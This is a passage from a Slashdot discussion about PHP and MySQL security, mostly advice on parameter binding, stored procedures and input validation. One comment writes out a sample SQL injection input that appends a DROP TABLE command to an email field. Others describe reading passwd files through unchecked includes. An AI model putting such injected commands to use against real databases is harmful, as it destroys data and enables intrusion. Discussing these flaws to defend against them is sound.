      --
      What would an EWOULDBLOCK block, if an EWOULDBLOCK could block would? -- me
    13. Re:SQL injection 101 ... by kuzb · · Score: 1

      a better way to do this is to cast your integers. Seems a little redundant, but then you can always be sure you've got a number, and not anything else.

      $var = (int)$var; // look ma, i'm an integer!

      range and permission checking would definatly be a required element here too. Can't be too careful!

      --
      BeauHD. Worst editor since kdawson.
    14. Re:SQL injection 101 ... by Admiral+Burrito · · Score: 1

      Which is fine, if you never need your code to work with any other database. It's not strictly correct (it's in quotes so it's a string, and putting it into an integer field should be considered a type mismatch) but mysql lets you get away with it.

      There are LOTS of things that MySQL lets you get away with that other DBs don't. This can lead to some very unportable code if your first target is MySQL.

  26. MOD PARENT TROLL FOR POINTING OUT /.'S IDIOCY! by Anonymous Coward · · Score: 0

    You have indicated that Slashdot is not 100% accurate. You will be Slashimilated.

  27. SQL Injection in PHP by uss_valiant · · Score: 5, Informative

    AFAIK SQL injection can be prevented by binding the parameters to the SQL statement and not putting them within SQL.
    An example:
    It's easy to inject some malicious SQL when using the following PHP code:
    mysql_query("INSERT INTO FOO('Bar') VALUES('$some_post_param');");
    But if you prepare the SQL statement with parameters and bind the variable $some_post_param to the statement, it will be secure.
    see mysql manual for mysqli_stmt_bind_param() aka bind_param
    $stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)"); $stmt->bind_param('sssd', $code, $language, $official, $percent);

    I know this concept from Perl DBI, but in PHP I haven't seen anyone (phpBB, ...) using bind_param. Why is this? Performance? Keeping the code short and simple?

    As for general webserver security: use PHP and perl as cgi, use suEXEC, run the webserver as nobody/www, put the users into chroot jails, but by all means, don't use PHP safe_mode On.

    1. Re:SQL Injection in PHP by shiflett · · Score: 2, Informative
      I know this concept from Perl DBI, but in PHP I haven't seen anyone (phpBB, ...) using bind_param. Why is this? Performance? Keeping the code short and simple?

      The reason is that the function you reference is only available in ext/mysqli, and this requires MySQL 4.1 or greater. There was previously no way to bind parameters like this using PHP and MySQL.

      Also, phpBB is not a good example to use with regard to secure programming practices. It is one of the applications that give people this silly notion that the language is to blame for poor programming.

    2. Re:SQL Injection in PHP by goon+america · · Score: 1

      The PEAR DB package has a function called quoteSmart() that does something like this. It's what I use (and PEAR DB is a great database abstraction tool, by the way.)

    3. Re:SQL Injection in PHP by prockcore · · Score: 1


      I know this concept from Perl DBI, but in PHP I haven't seen anyone (phpBB, ...) using bind_param. Why is this? Performance? Keeping the code short and simple?


      Probably because mysqli (the improved mysql class) is fairly new, and not many people have it compiled into their php.

    4. Re:SQL Injection in PHP by tbannist · · Score: 1

      One possible reasons is that you don't need to use bind_param in the PEAR DB object. You can just pass an array of the values along with the placeholder equipped $query like so:

      $rows = $db->getRow('SELECT FROM blah WHERE id=?', array($id));

      Of course the real problem is most likely that most PHP projects write their own DB abstraction layers because they're supporting both PHP 4 and PHP 3.

      --
      Fanatically anti-fanatical
    5. Re:SQL Injection in PHP by DarkHelmet · · Score: 1
      I know this concept from Perl DBI, but in PHP I haven't seen anyone (phpBB, ...) using bind_param. Why is this? Performance? Keeping the code short and simple?

      Because mysqli is designed for PHP5 which is not production ready, and MySQL 4.1.2 or greater, which is alpha status.

      I am ultimately waiting for these functions to come out in a production sense, so I can start doing SSL connections to my database.

      --
      /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i
  28. This business will ALWAYS have amateurs by Anonymous Coward · · Score: 2, Interesting

    It is an economic fact of life. People will always be learning in the job. We will never have a guaranteed level of expertise, let alone competence. Tools will have to start enforcing security. Humble coders have been dealing in overflows, SQL injection, and cross-site scripting forever. Tools that manage buffer/stack overflows are not just for junior programmers. Tools/frameworks that add taint checking and build-in automagic security (like ASP.Net's validaterequest). If we have to rely on all the programmers becoming competent experts we will never have security.

  29. Crap site by pommaq · · Score: 2, Interesting

    Yes, that guide to secure scripting was very useful - a "hello world" program. Whoopee. To be frank, that site looked... well, less than professional, and with a name like "uberhacker" I expected their tips to be a little more advanced than "look, you can change the values in a query string but don't tell anyone!!!!11"

    That being said, I used to write a lot of PHP (I rarely do it anymore at work, but I still try to keep up with the language) and when I first started out I would have loved a comprehensive and easy-to-understand guide to common security holes. The world needs a simple "how to write security-conscious code" for beginners! The sooner you get to see stuff like SQL injection or XSS in action, the better.

    1. Re:Crap site by Anonymous Coward · · Score: 1, Informative

      I'm really really surprised no one else has pointed this out. This is all a bunch of bullshit. This site is not a security site. It is an insane woman who is dillusional. All things should be taken with two pounds of salt. It is a site run by Carolyn P. Meinel. Read more here.[attrition.org]

    2. Re:Crap site by crossconnects · · Score: 1

      i agree. This is the most pathetic site i have ever seen w/ regard to tutorials.

      --
      no big sig
    3. Re:Crap site by karkle · · Score: 2, Informative

      There is a good guide available not specifically for PHP, but general secure web developement. I'm not the author and don't know where to link to his site or the latest guide but here's a mirror of it.

      Best Practices for Secure Web Development By Razvan Peteanu

  30. Hoppity Hop by Tablizer · · Score: 3, Informative

    and turning off register_globals, will result in better results.

    One of the problems is that PHP has kept changing the way it handles session variables such that if you move your site you may encounter problems (it takes some sites a while to upgrade their PHP interpreter). One solution is to make your own set of session var functions (scalar only) to wrap the changes or per-site differences, or simply live with register_globals on.

    Maybe in a few years it will settle down, but the recent changes have gummed things up for the near future. Every language has had some stupid progressions, and session handling is high on PHP's Stupid List.

    1. Re:Hoppity Hop by adamfranco · · Score: 1

      and turning off register_globals, will result in better results.

      I couldn't agree more. register_globals really should be off, but often can't be.

      In the developement of our PHP application suite we've run into a big problem with the persistance of object trees. Basically, if you put a tree of objects that contain references into the $_SESSION array without register_globals on, when you get them back in another execution cycle the references will be all jumbled up with copies of the objects to boot. For some reason this works fine with the exact same code and register_globals=ON.

      Hopefully PHP5 will stablize soon and fix all of this nonsense.

      --
      "When ideology and theology couple, their offspring are not always bad but they are always blind." -- Bill Moyers
  31. Agreed by Xformer · · Score: 1

    Liberal use of addslashes() +
    Surrounding data from clients with quotes in SQL =
    SQL injections? Where?

    --
    All I want is a kind word, a warm bed and unlimited power.
  32. oh god, this is hosted on HappyHacker by joeldg · · Score: 1

    Jeez... this is hosted on HappyHacker ..
    Won't that lady *ever go away*...

    How long has it been.. she calls the FBI constantly trying to say people who put up negative stuff about her are "hacking" her.

    Dis had to sue to get his face off the cover of her book. I was in the middle of a move and didn't get the email about getting my face off of there.. And I am still pissed about it.

    bah..
    don't give this retch any more publicity.. she is a bottom feeder.

    1. Re:oh god, this is hosted on HappyHacker by Gramie2 · · Score: 1

      don't give this retch any more publicity

      That's an interesting (and possibly appropriate) misspelling of "wretch"!

    2. Re:oh god, this is hosted on HappyHacker by joeldg · · Score: 1

      it is actually a typo...

    3. Re:oh god, this is hosted on HappyHacker by Gramie2 · · Score: 1

      I figured it was, but a serendipitous one! It's not often that a spelling/grammar Nazi is appreciated, you know!

  33. Secure Programming HOWTO by dwheeler · · Score: 4, Informative
    For guidelines on how to develop secure programs, see my Secure Programming for Linux and Unix HOWTO. This Free book provides a set of design and implementation guidelines for writing secure programs for Linux and Unix systems. That includes application programs used as viewers of remote data, web applications (including CGI scripts), network servers, and setuid/setgid programs. The book includes specific guidance for a number of languages, including C, C++, Java, Perl, Python, PHP, and Ada95.

    --
    - David A. Wheeler (see my Secure Programming HOWTO)
  34. what a good way by Anonymous Coward · · Score: 0

    for the admins at uberhacker to plug their own site, put up a shitty page, tell /. /. is so shit nowadays it accepts..

  35. Walked Right Into That by mfh · · Score: 2, Insightful

    > If you're going to make that argument (which, BTW, I think is accurate), then you'd better be prepared to say that Windows isn't inherantly insecure as well.

    No, not really. If you're arguing that Windows isn't insecure (which is slightly off-topic) I would have to disagree. The security flaws in Windows are due to over-complication of a proprietary system, leading to gaping holes that keep springing up on a systemic level; these holes are compounded by closed source, financial rationale (lacking in motivation for corrections) and corporate belligerence on a systemic level. Fewer eyes have seen Windows source code than PHP source code, and those that have are swimming from confusing and conflicting design models.

    Windows is insecure because the people involved are xenophobic. Plus PHP isn't an operating system, so we're really talking about penguins, apples and windows.

    --
    The dangers of knowledge trigger emotional distress in human beings.
  36. Re:Blame should be shared between coder and langua by NineNine · · Score: 1

    Stored procedures still require SQL code to be embedded in the client code - and therefore still requires the mixing of code and data.


    Have you ever used a stored procedure? You call the name of it, and that's it. You give the web server permission to call the stored procs.

  37. Input verification by ZeroExistenZ · · Score: 3, Interesting

    Think it was just a "look at my cool site, try to slashdot that one!" kindof 'article'.


    So far the most "unsafe" aspect with PHP / SQL setups is poor input validation;

    If you allow direct writing to your SQL and don't do sufficient checks on the input, well.. you'll get in probs with that.

    Proof of concept;
    Hello.. enter your email for free porn: sucker@hotmail.com '; DROP TABLE 'emails';

    Or you have those pages who mess up or display info which can be abused (and / or shouldn't be on that particular page) after there's a "<blockquote>" injected and redisplayed without checking..
    Same with <input type=text>

    Then.. there's JS, and htmlentities, and, and..
    All caffeine intense, and headache inducing subjects you should keep in mind if you plan on bringing something on wire.

    "Nah.. you don't have to do that.. Who's going to know how to do that?"
    "Trust me.. You want me to put in that extra code.."
    "If you really say so.."

    You also have stupid defaults, and uninspired coding which gets abused, ofcourse...

    I actually like the PHP / SQL combination and believe it to be safe enough for what I do with it.

    --
    I think we can keep recursing like this until someone returns 1
    1. Re:Input verification by djcatnip · · Score: 1
      is it possible to walk through the incoming $_POST array and process each value with, what.. something like this?
      $i = 0;
      while( $res=each($_POST) )
      {
      $_POST[$i] = stripslashes($_POST[$i]);
      $_POST[$i] = strip_tags($_POST[$i]);
      $_POST[$i] = htmlspecialchars($_POST[$i]);
      $_POST[$i] = base64_encode(gzdeflate($_POST[$i]));
      $i++;
      }
      --
      I make these: http://beatseqr.com
    2. Re:Input verification by Anonymous Coward · · Score: 0

      I don't really think that was the point.

      It's the same way Windows 95/98 is pretty much an open door.. doesn't mean it's exterminated yet.

    3. Re:Input verification by djcatnip · · Score: 1

      obviously that won't work, idiot.

      --
      I make these: http://beatseqr.com
    4. Re:Input verification by djcatnip · · Score: 1

      moron.

      --
      I make these: http://beatseqr.com
    5. Re:Input verification by kuzb · · Score: 1

      yes, but why?

      you're making the assumption that everything coming through needs to be validated the same way. you should not do this. Instead, you should be validating incoming variables on a per-variable basis.

      A common method for doing this in the OOP fashion is to use SET methods in your object framework. This is to say, that when you pass something from the global space in to your object space you first pass it to a handler function that performs the appropriate checks and preperation ahead of time. In most OOP aware languages, it's generally agreed that you should not directly set your attributes for this very reason.

      Not all data that comes though is going to be a blog post, so why do all that?

      Also, you're assuming that you need to stripslashes() your input even before you TEST to see if it needs to be done or not. You should be using something like this:

      function prepSlashes($var)
      {
      if (get_magic_quotes_gpc() == 1)
      {
      return stripslashes($var);
      }
      else
      {
      return $var;
      }
      }

      Then you only use it when you need to, not on every element in the incoming array.

      This function will normalize anything you pass to it so it has no extra slashes, but only if it is required. This way, you don't inadvertantly lose slashes if they were meant to be there.

      --
      BeauHD. Worst editor since kdawson.
  38. Crappy Programmers = = Crappy Code... by Saeed+al-Sahaf · · Score: 1

    Absolutely. It's not PHP's fault it has a lot of clueless and/or lazy users.So true. The same argument can be used in relation to crappy Visual Basic apps: Crappy / ignorant / lazy programmers build bad VB code. This formula can be applied to any language (C... let me at those pointers...).

    --
    "Who are in control, they are not in control of anything - they don't even control themselves!" - Glen Beck
    1. Re:Crappy Programmers = = Crappy Code... by Saeed+al-Sahaf · · Score: 1

      Err, speaking of crappy code... I suppose it would be Crappy Programmers = Crappy Code (single "=" )?

      --
      "Who are in control, they are not in control of anything - they don't even control themselves!" - Glen Beck
  39. I looked at the guides... by Phidoux · · Score: 1

    ... and if anyone codes like that, they deserve to be hacked.

  40. I disagree by beldraen · · Score: 1

    Security does not belong in the database because it removes context of action. The correct level of security is to place it in between the database and the interface through a well-defined, simple interface that keeps the context of the action secured from the interface. By treating each element in the table as an object, the object is loaded with the security of the entity at the time of instantiation; thus, even if the interface is highjacked and the object is commanded to alter information, the user does not have permission to alter it even if under other scenarios the user might have the right to do so. In other words, a database can never know why something is being altered, and an interface can never been trusted to fully comply with security.

    --
    Bel, the mostly sane.. "Of course I can't see anything! I'm standing on the shoulders of idiots." -- Me
    1. Re:I disagree by MattRog · · Score: 1

      "Context of action" -- you'll have to define that term. Otherwise the whole thing is unintelligable.

      Business rules and security are data management issues which, by definition, belong in the DBMS.

      --

      Thanks,
      --
      Matt
    2. Re:I disagree by NineNine · · Score: 1

      treating each element in the table as an object, the object is loaded with the security of the entity at the time of instantiation

      This adds, and duplicates an enormous amount of complexity and overhead. I've seen two large scale projects programmed this way fail because performance and time to develop were so incredibly poor. In one case, a company folded because the team leads went with this boneheaded architecture instead of my suggestions. Security belongs in a database. A good RDBMS is moer secure than anything one person could write because the databases (ie: Oracle) have been around for many, many years.

    3. Re:I disagree by Anonymous Coward · · Score: 0

      I've done it successfully -- as long as you are writing performant SQL queries, the object overhead is really immaterial. (This was done because the user's security context was complex enough that it could not be "put in the database". Yeh, it took longer, but that was a conseqeuence of the security requirements.)

      Where schemes like this fail is when the objects use shitty SQL (aka client-side joins) in order to preserve a broken abstraction layer. Such programming is common in J2EE setups.

  41. Nope by kuzb · · Score: 5, Insightful

    This is not an issue dealing with PHP and MySQL, this is an issue with weak programmers writing bad code, and I'm sorry to say, you find it in every language. As a regular in #php on freenode, we are constantly correcting bad coding practices.

    In fact, it's not uncommon to find people using GET and POST variables straight out of the box without any kind of validation whatsoever. Many people do not learn the de-facto first rule of web programming: the user can not, and should never be trusted.

    To make matters worse, applications like PHP-Nuke spring up which are notorious for sloppy coding practices, and people tend to see them as reflect on the PHP community as a whole. That's like blaming the C language because someone, one day, wrote some bad code in it that got someone else hacked. This happens all the time, but we don't make claims like "C security is weak". Instead, we worry about the truth of it, that the programmer in question did a bad job, or just flat out missed something.

    One of the key points that seems to trip most novices up (and granted, this is one of the stupider moves presented by the PHP Core Development team) was a thing called magic_quotes_gpc, which attempts to auto-escape incoming GET, POST and COOKIE variables in an attempt to sanitize user input. This is usually a double-edge sword because newbies are typicly not aware if it is, or isn't on. In later versions, this is on by default, and does prevent many SQL injections from occuring. However, for the more experienced user, having your input auto-munged can be something of a pain. Unfortunatly, to write truely portable code one must test this value and normalize data accordingly.

    The issues don't stop there though. I've seen many a more serious faux pas committed by the newbie. Another more serious flaw that I see happen on a regular basis is the use of user data within include statements without proper path checking. This is probably one of the more disasterous errors I see occuring because it typicly exposes sensitive data. There has been more than one occasion where i've shown a user their own passwd file in a browser to make my point.

    Anyhow, to the newbies: we, the more experienced people of PHP are on our own quest to educate people, many times in a one-on-one basis on Freenode. If you're not sure about a particular issue, grab an IRC client and ASK US (irc://irc.freenode.net). We're there to help!

    --
    BeauHD. Worst editor since kdawson.
    1. Re:Nope by Bensmum · · Score: 1

      Unfortunately, dumbasses try to blame C all the time for programmers making mistakes using it. Every time there is an exploit in anything and it gets posted here a ton of java dweebs come out trolling about how C is outdated and flawed and we should use java for everything.

    2. Re:Nope by Anonymous Coward · · Score: 1, Insightful

      > but we don't make claims like "C security is weak"

      That's just plain wrong for the majority. Every time there's a Java or a secure language topic comes up, there are just too many flaming C because of its "security" - lack of magic behind the scenes like garbage collection, etc. The typical rants are hardware costs are insignificant to programmers' costs, and efficiency isn't worth security because hardware is too cheap. The typical solution given is to dump hardware at security, and pick a "secure" language.

    3. Re:Nope by Sepodati · · Score: 1

      if($_POST['module'] == 'news') { include('news.php'); }

      The idea is that you're coding a value into include() that _you_ set. Other methods include having a predefined array of valid modules that hold the file names. You then validate $_POST['module'] against that array.

      You can do something like include('/hard/coded/path/'.$module.'.php'); but then you have to validate $module accordingly. Either by checking it agains a pre-approved list/array, or replacing any periods or forward slashes in the value.

      $file = str_replace(array('.','/'),'',$_POST['module']);

      ---John Holmes...

    4. Re:Nope by kuzb · · Score: 1

      you could try this piece of code that i wrote to do that. It's fairly straight forward.

      --
      BeauHD. Worst editor since kdawson.
    5. Re:Nope by Anonymous Coward · · Score: 0

      It's easy enough to deal with the magic_quotes_gpc issue. Create a function (I usually call it getvar) that returns the value of the specified element from $_REQUEST, calling stripslashes on it if the magic quotes thing is enabled. That way if the PHP developers ever change how user-supplied data is accessed (as they have before with magic_quotes_gpc and register_globals) all you will need to do to update your code is fix that one function.

      function getvar($var, $default = '') {
      if (!isset($_REQUEST[$var])) {
      return $default;
      }
      else if (get_magic_quotes_gpc()) {
      return stripslashes($_REQUEST[$var]);
      }
      else {
      return $_REQUEST[$var];
      }
      }
  42. Re:Blame should be shared between coder and langua by Sanity · · Score: 0, Flamebait
    Have you ever used a stored procedure? You call the name of it, and that's it. You give the web server permission to call the stored procs.
    So your solution to the problem that SQL encourages the mixing of code and data is to physically separate all the SQL out into separate files? And how many people do you think will be willing to contort their code in that manner to get around SQL's inherent insecurity? Judging by bugtraq - not very many.

    The real solution is not to use a separate language and syntax for constructing queries.

  43. Re:Blame should be shared between coder and langua by MattRog · · Score: 1

    What are you talking about? This doesn't make much sense.

    Programmatic ways to express SQL?!?

    Isn't OO development basically tying code and data?

    Plus, business rules belong intimately tied to data -- that's so you can't circumvent them. Hence the whole idea of a relational database management system.

    --

    Thanks,
    --
    Matt
  44. Not sure if this is news by l0ungeb0y · · Score: 4, Interesting

    Sh!t PHP coding is as old as the hills.
    Some of my favorite things I see _ALL_ the time:

    Something bad happens while executing the code?
    Let's <? die("here's my database connection info in case you wanted it"); ?>

    Then there was the client who's previous developer was some moron who stored the database connection info into a .inc file under htdocs!

    The web "design" group who's MySQL database was wide open without authorizing with a password.

    The arsehole developers who built themselves little backdoor webpages during development to exec shell commands and upload/exec files ... not so much as an HTTP_AUTH to secure it with and would handily chmod 777 all uploaded files and put them under htdocs for ease in execution.

    I've seen about 3 websites store credit card numbers unencrypted into a MySQL database.

    I could go on and on and on, being a development gun for hire since 98, I've seen some things that defy all logic and explanation. In fact, I still wonder why they call it Computer Science. Now, Computational Arts I could buy into.

    1. Re:Not sure if this is news by Anonymous Coward · · Score: 0

      I could go on and on and on, being a development gun for hire since 98, I've seen some things that defy all logic and explanation. In fact, I still wonder why they call it Computer Science. Now, Computational Arts I could buy into.

      I like that - reminiscent of another I heard, 'Applied Numerology'. :-)

  45. Re:Blame should be shared between coder and langua by Anonymous Coward · · Score: 0

    Languages which encourage the mixing of code and data make it extremely easy to write insecure code

    In what way? I can see how it makes it easy to write unmaintainable code.

    Yes, the coder is to blame, but so is the language.

    By far the most widespread problem with people using PHP and SQL is that they don't escape user-supplied data, or that they trust user-supplied data. That is programmer ignorance, and it shows up the most with PHP and SQL because they are basic building blocks that newbies tend to pick up informally.

  46. Re:Blame should be shared between coder and langua by yerfatma · · Score: 1

    So that's a "No" on the question "Have you ever used stored proceudres" then? 'Cause it sure sounds like you don't get it. The good news is your current ratings suggest you're not alone.

  47. -Good- Sites by Talian · · Score: 2, Insightful

    Anyone have suggestions for a bit more uh, quality sites on the topics? Seen plenty of coding sites, but none particular to security of this combo.

    1. Re:-Good- Sites by Anonymous Coward · · Score: 0

      Check out OWASP.

  48. Re:Blame should be shared between coder and langua by NineNine · · Score: 1

    No, I didn't say separate files, I said STORED PROCEDURES. Yes, this is the way it should be done, and this is the way that all of my web projects are done. Stored procedures are faster, more secure, and allow for code re-use. There's nothing wrong with SQL, you just shouldn't put it in server-side scripted web sites.

    You don't know what stored procedures are. You probably use MySQL, right? Check out Google definitions of stored procedures: http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe =UTF-8&oi=defmore&q=define:stored+procedur e

  49. I hate to troll, but... by davegust · · Score: 1

    ASP.NET data binding to SQL has built-in protections to avoid SQL injections and other common SQL security problems. In general, the .NET security model is quite effective and useful for web programming.

    1. Re:I hate to troll, but... by Anonymous Coward · · Score: 0

      That's the ticket - blame the language, or the scripting language, instead of competence lacking. Go Java go? Hardware is cheaper than coders?

  50. Re: cutting off an arm by Anonymous Coward · · Score: 0

    Fair enough, he should have known the saw was unprotected and therefore dangerous and should not have been used. Likewise, if you're silly enough to use PHP, it's your own fault.

  51. Anyone use ADOdb? How does it compare? by Mr.+Cancelled · · Score: 1

    I've been playing around with the adodb library in my spare time. It seems fairly powerful, and flexible (so much so that I really have to question why everyone doesn't write using it, since it opens your script up to a much wider potential audience).

    But now I wonder whether it's more secure that plain ol' vanilla php/mysql (keeping in mind that my globals are off, code's written with POSTs & GETs in mind, and so on).

    If it is more secure, then I have to ask why it's not made the standard for accessing databases w/php? It seems comprehensive enough to replace php's built in database functionality, and as mentioned, by using it, suddenly your scripts are compatible with a lot more databases, as opposed to being written specifically for mySQL.

    1. Re:Anyone use ADOdb? How does it compare? by Sepodati · · Score: 1

      ADOdb doesn't make anything more or less secure, it's just a wrapper to the native database functions. It's still up to you to validate your data, escape the right characters, etc.

      If ADOdb emulates some kind of parameter-binding for those database interfaces that don't actually support that, then I guess it could be considered a little securer, but it's still up to you to use the right methods.

      ---John Holmes...

  52. Re:Guides to Secure Programming? MOD PARENT UP by Bob+Zer+Fish · · Score: 1

    I was just about to ask about a book on how to write secure code, and for other good practices.
    Might I suggest that you mirror your column on your site after 4 or 5 months?

    Any other recommendations for security books?

  53. ROTFL by mfh · · Score: 1

    > what blows my mind is those that use the DB column name in a webform to be passed

    OMG how many times I've seen that!!! It makes me wonder what planet these people are on. It's like they have a big bullseye on their asses, really.

    Keeping table names secret is a good way to make it harder for script kiddies to attack. PHPBB allows for table names to have a prefix for this purpose, and sadly most people using it don't even bother.

    Since most attacks come from script kiddies, you limit the ability by obfuscating things. I'm not suggesting it's the only path to security, just that it helps deter anyone but the more adept.

    > Nothing that is ever given to the user, or recieved from the user should be trusted... EVER

    Yeah it's like giving them your bank card PIN and mailing them the card, so they can check for errors on the little black stripe; the oldest game in the book is that wallet-inspector gag.

    --
    The dangers of knowledge trigger emotional distress in human beings.
  54. This was modded up? by Backov · · Score: 3, Informative

    PHP hasn't executed more than one query per mysql_query() for quite some time. Your exploit example might have worked a few years ago, but not for some time.

    PHP/MySQL is not really that unsecure. If you don't do stupid things, you won't (generally) get hacked.

    --
    In the law there is no overlap between theft and copyright infringement whatsoever.
    1. Re:This was modded up? by justMichael · · Score: 1

      To the best of my knowledge, you have never neen able to execute more than one query per call to MySQL.

      Of course they were nice enough to add it into 4.1, but you still have to enable it when you open the connection, so it's not insecure by default.

    2. Re:This was modded up? by Anonymous Coward · · Score: 0

      Not to mention the fact that DROP TABLE 'emails'; won't do anything...'emails' is a string, not a table name (`backticks`, not single quotes...)

  55. Re:Blame should be shared between coder and langua by cayenne8 · · Score: 1
    I agree with you on the stored procs. on the database...but, it does kind of 'lock' you into that one particular database. For example, PL/SQL in Oracle isn't all that portable. Having the SQL with the PHP allows you to change DB's if you want.

    I guess everything is a trade-off....

    I too was wondering why the parent seemed to be confusing files and stored procedures....??

    --
    Light travels faster than sound. This is why some people appear bright until you hear them speak.........
  56. Re:Blame should be shared between coder and langua by j_d · · Score: 1

    Stored procedures still require SQL code to be embedded in the client code.
    Say what? what variant of sql are you using that's this broken?

    Or is your crack cut with Tide detergent?

  57. Very weak article by GetPFunky · · Score: 1, Insightful

    The point of this article is based upon the misconception that writing secure applications should be done for you.

    Next article will be.
    "PHP has weak performance because it can be slashdotted."

    1. Re:Very weak article by Anonymous Coward · · Score: 0

      Especially when run as a cgi binary ;)

      dorks..

  58. Re:Blame should be shared between coder and langua by NineNine · · Score: 1

    Oh, I agree; it definitely locks you in. I don't know any 2 DB's that have the same stored proc language, although I have seen tools to convert between, say, PL/SQL and T-SQL. That being said, the DB is even less likely to be changed than a webserver is, so I think that "lock" in is less critical at the RDBMS level. And, the larger the company is, the less likely they are to even change database vendors.

    I think that parent doesn't know what stored procs are. I see it all of the time. It seems that very few of the latest batch of new web app developers know what a database is and what they do. The vast majority that I've seen tend to use databases as a flat file for pulling info out of. Very rarely have I seen an app developed properly, with business logic and security and logging in the database engine, where it usually belongs.

  59. Security? by natefanaro · · Score: 2, Funny

    Why worry about security when your site's been slashdotted? No one can get to it so no one can hack it!!!

  60. Re:Blame should be shared between coder and langua by j_d · · Score: 1

    So your solution to the problem that SQL encourages the mixing of code and data is to physically separate all the SQL out into separate files?
    Oh, well, Jesus, you're just an idiot. You should have said so up front, because we can't see the explanatory note that's pinned to your shirt .

  61. A PHP CMS can be written securely by ScurvyDawg · · Score: 1

    A PHP CMS can be written securely, check out www.geeklog.net, the best PHP CMS out there.

  62. Re:array[key] by DahGhostfacedFiddlah · · Score: 1
    Not to interrupt your rant - I have no doubt this guy was as incompetent as you describe. But I'm going to defend his practice and say that using $array[key] is absolutely understandable.

    PHP is the only language I've used that forces you to index arrays differently in code and string context.

    Code:
    print ($array['key']);
    String:
    print ("$array[key]"); // Note no quotes around "key"
    What the hell is that? While I try to follow the guidelines as described above, I wouldn't place blame on anyone for getting confused. Especially considering the fact that the $array[key] syntax is only discouraged. Not using it will not adversely affect any script in any version of PHP as of this writing, and keeps the syntax consistent across code and string contexts.
  63. A new approach is needed by slamb · · Score: 3, Informative
    Most people are attempting to solve cross-site scripting and SQL injection vulnerabilities (the #4 and #6 causes of web security problems, according to this article) through brute force. Everywhere they use these, they use an escaped version. But this approach doesn't work! For several reasons:
    • it's hard to notice when something is not there.
    • people tend to push these farther and farther away from the actual usage, so they get confused about what has been escaped. It's hard to maintain clear contracts between functions about something like this.
    • even if you're diligent when writing the initial code, it's easy to slip when applying patches

    So I think a new approach is needed. One where you don't mix instructions and data so easily, or flag them more readily.

    With SQL, this has been around for a while: bind variables. Your SQL queries tend to be static with ? thrown in (or :foo for named bind variables). In Perl, it looks like:

    my $sth = $dbh->prepare('select * from mytable where foo = ?');
    $sth->execute($foo);

    Not everyone is using bind variables, and I don't know why. One reason may be that positional bind variables can be confusing: they require you to correlate two lists in your head to position the correct variables in the correct spots. Not all language/database combos support named bind variables. (JDBC doesn't!) But they can be emulated - that's one reason I made xmldb.

    For HTML, it's more rare to find something that does this. Apache Cocoon does, but it's grotesquely complex. I'm working on a simpler system, though it's not ready for production. Here's the idea: my files (XFP) are to a SAX ContentHandler as JSP is to a byte stream.

    I like SAX because it's a way of making XML that does things right. Instead of doing something like:

    out.println("<elem a=\"" + foo + "\" b="blah">Blah: " + bar + "</elem>");
    you write something like:
    AttributesImpl attribs = new AttributesImpl();
    a.add("a", foo);
    a.add("b", "blah");
    out.startElement("elem", a);
    out.characters("Blah: " + bar);
    out.endElement("elem");
    it's nice in that you don't do any of the escaping yourself - you just tell it how you're using each string, so it can do the escaping right. But that's six ugly lines instead of one, and it's worse with real SAX because you need extra arguments for namespaces and things. So I looked at JSP. It sticks Java code inside the text to produce. I stick Java code inside the XML to produce. I write something like this:
    <elem b="blah">
    <xfp:attribute name="a">foo</xfp:attribute>
    Blah: <xfp:expr>bar</xfp:expr>
    </elem>
    ...and it turns it into the code above when it makes a .java file. It still knows how to escape things from context. And whenever you stick in literal text, you can write it just like you'd normally write XML - less long-winded. I might change it to this:
    <elem a="{foo}" b="blah">Blah: {bar}</elem>
    which is shorter still.

    My code is all Java. But the concepts should apply to PHP, Perl, Python, anything.

    Anyone else working on a system to solve this problem? I'd be interested to share ideas.

  64. "fuzzy developing" by mabu · · Score: 4, Insightful

    Interesting topic, but I don't think the problem lies with PHP or MySQL. You can create insecure apps in any development environment. Yes, some are more problem-prone than others, but I'd rank Perl much higher than PHP/MySQL in terms of being conducive to allowing vulnerabilities.

    I attribute much of this problem to something I call "fuzzy developing". It's the latest trend. The crux of this problem involves Web designers, who know very little about programming who are deploying more and more complicated applications in a cut-and-paste manner. These fuzzy developers have no concept of proper programming skills. Many of them can't program at all, but they can snarf someone else's "free" code online, change a few config parameters, whine to an admin for access, and compromise entire servers.

    This new breed of developer relies on existing code, following the fallacy that if it's on the net, it must work. They use sites like experts-exchange to get other people to code for them when they get in a snag, and don't contemplate the priorities involved when you put something on a public system.

    1. Re:"fuzzy developing" by Anonymous Coward · · Score: 0

      The crux of this problem involves Web designers, who know very little about programming who are deploying more and more complicated applications in a cut-and-paste manner. These fuzzy developers have no concept of proper programming skills.

      You are on the mark here -- but PHP is especially vulnerable because of how shitty its legacy code base is.

      For example, "register_globals" is off, but nobody has fixed the old code, so it just gets turned back on. PHP also has implemented crappy a "magic quote" solution rather than implimenting a real database layer. Also, there was some really insecure code snippets at the PHP site itself.

      So, you have Know-Nothing programmers copying from Know-Nothing programmers. If PHP wants to improve itse security repution, they should start breaking the broken code.

  65. What I don't like by KalvinB · · Score: 1

    is that allowing globals is called insecure in PHP and gives no real explaination why except that users can give variables values. Well...that's the idea. It's no different than allowing user input in any other form. The only danger is when you don't assign values to variables before using them. In which case, where were you expecting to get the value?

    And PHP I think is pretty useless without being able to append variables and values to the URL. It's a necessary ability for users to be able to bookmark exact pages. It also avoids the highly annoying "refresh" problem where pages expire and data needs to be resent when you make the socalled mistake of using the back button.

    And MySQL's semicolon "hack" I didn't like either. It seems way to simplistic for a product that should be more sophisticated. Somebody exploited that not too long ago but didn't cause any real damage. The net result is that I still don't use it for anything critical. The only thing MySQL is used for is the forums and "Fun With Cutouts." People had more fun with HTML injection than MySQL injection with the latter. So now all and ; characters are stripped from user input before processing.

    It's a "create your own comic" page anyway so nobody uses correct punctuation. Much less a semicolon.

    Ben

  66. Re:array[key] by Unknown+Relic · · Score: 1

    I don't remember exact numbers off hand, but the last time I saw this discussed someone posted benchmarks demonstrating that the $array[key] syntax is actually significantly slower than $array['key'] because of some nuance in how php works internally.

  67. new security holes every DAY, huh? by panic911 · · Score: 2, Insightful

    PHP and SQL Security are being proven more weak every day.

    Where does this guy get his facts? Tell me, what exactly is insecure about SQL or PHP? If you know what you're doing and write your scripts to prevent any SQL injections and you set adequite permissions on the database, you're not going to have any problems (assuming there isn't some huge flaw in the database server, itself).

